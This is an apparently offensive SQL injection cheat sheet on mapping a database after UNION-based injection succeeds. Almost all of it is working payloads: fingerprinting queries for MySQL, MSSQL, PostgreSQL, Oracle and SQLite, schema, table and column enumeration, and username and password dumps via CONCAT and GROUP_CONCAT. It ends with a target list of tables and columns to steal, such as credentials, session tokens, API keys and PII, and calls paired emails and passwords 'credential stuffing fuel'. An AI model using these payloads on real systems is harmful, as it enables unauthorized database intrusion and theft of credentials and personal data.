Once you have UNION-based injection working, the first thing to do is map the database — figure out what data exists, then extract what matters.

Fingerprinting the DBMS

Different databases have different syntax. Fingerprint before committing to payloads.

DBMSVersion QueryString ConcatComment
MySQLSELECT @@versionCONCAT('a','b')-- or #
MSSQLSELECT @@version'a'+'b'--
PostgreSQLSELECT version()'a'||'b'--
OracleSELECT banner FROM v$version'a'||'b'--
SQLiteSELECT sqlite_version()'a'||'b'--

Quick identification payloads:

' UNION SELECT @@version, NULL, NULL-- -               (MySQL/MSSQL)
' UNION SELECT version(), NULL, NULL-- -               (PostgreSQL)
' UNION SELECT banner, NULL, NULL FROM v$version-- -   (Oracle)

Other useful info:

' UNION SELECT @@hostname, @@datadir, current_user()-- -   (MySQL)
' UNION SELECT user(), database(), @@version-- -           (MySQL)

Enumeration via information_schema (MySQL, PostgreSQL)

Nearly every modern RDBMS exposes a information_schema virtual database. It’s the universal map.

List databases:

' UNION SELECT NULL, schema_name, NULL FROM information_schema.schemata-- -

List tables in the current database:

' UNION SELECT NULL, table_name, NULL
FROM information_schema.tables
WHERE table_schema=database()-- -

List tables in a specific database:

' UNION SELECT NULL, table_name, NULL
FROM information_schema.tables
WHERE table_schema='<dbname>'-- -

List columns in a specific table:

' UNION SELECT NULL, column_name, NULL
FROM information_schema.columns
WHERE table_name='users'-- -

Get all columns + tables at once (concatenated):

' UNION SELECT NULL, CONCAT(table_name,'.',column_name), NULL
FROM information_schema.columns
WHERE table_schema=database()-- -

MSSQL Enumeration

MSSQL uses master..sysdatabases and sysobjects instead of information_schema:

' UNION SELECT name, NULL, NULL FROM master..sysdatabases-- -
' UNION SELECT name, NULL, NULL FROM sysobjects WHERE xtype='U'-- -
' UNION SELECT name, NULL, NULL FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -

PostgreSQL Enumeration

Similar to MySQL but with its own system catalog:

' UNION SELECT datname, NULL, NULL FROM pg_database-- -
' UNION SELECT table_name, NULL, NULL FROM information_schema.tables-- -
' UNION SELECT column_name, NULL, NULL FROM information_schema.columns WHERE table_name='users'-- -

Oracle Enumeration

Oracle requires queries from dual and uses different schemas:

' UNION SELECT banner, NULL, NULL FROM v$version-- -
' UNION SELECT owner, NULL, NULL FROM all_tables-- -
' UNION SELECT table_name, NULL, NULL FROM all_tables WHERE owner='SCOTT'-- -
' UNION SELECT column_name, NULL, NULL FROM all_tab_columns WHERE table_name='USERS'-- -

Dumping Data

Once you know the target table and columns:

' UNION SELECT NULL, username, password FROM users-- -
' UNION SELECT NULL, CONCAT(username,':',password), NULL FROM users-- -
' UNION SELECT NULL, GROUP_CONCAT(username, ':', password), NULL FROM users-- -

GROUP_CONCAT is handy when the app only shows one row — it packs all rows into a single comma-separated string.

What to Look For

Tables worth dumping first:

  • users, accounts, members, admins — credentials
  • sessions, tokens, api_keys — auth material
  • config, settings, secrets — potentially hardcoded keys
  • logs, audit, history — IP leaks, past activity
  • messages, pm, notes — PII and intelligence

Columns worth hunting:

  • Anything with pass, pwd, hash, secret in the name
  • email + password paired (credential stuffing fuel)
  • token, key, credential